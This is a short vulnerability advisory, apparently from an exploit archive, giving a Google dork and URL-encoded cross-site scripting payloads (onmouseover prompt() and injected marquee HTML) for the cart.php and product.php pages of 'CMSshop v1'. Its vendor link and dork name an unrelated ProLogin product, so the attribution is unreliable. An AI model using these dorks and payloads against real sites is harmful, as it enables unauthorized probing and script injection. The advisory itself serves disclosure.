CMSshop 1 Cross Site Scripting

`====================================================================================================================================  
| # Title : CMSshop(ir) v1 XSS Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit) |  
| # Vendor : https://codecanyon.net/item/pro-login-advanced-secure-php-user-management-system/12388905?s_rank=169 |  
| # Dork : "Login - ProLogin" |  
====================================================================================================================================  
  
poc :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] Use payload : /shop-php/cart.php?new=28%22%20onmouseover%3dprompt(904251)%20bad%3d%22   
/shop-php/product.php?productid=20&start=0%22%20onmouseover%3dprompt(961299)%20bad%3d%22   
  
[+] http://localhost/shop-php/cart.php?new=21%22%20%3Cmarquee%3E%3Cfont%20color=Blue%20size=32%3Eindoushka%3C/font%3E%3C/marquee%3E%22  
  
Greetings to :=================================================================  
jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |  
===============================================================================  
`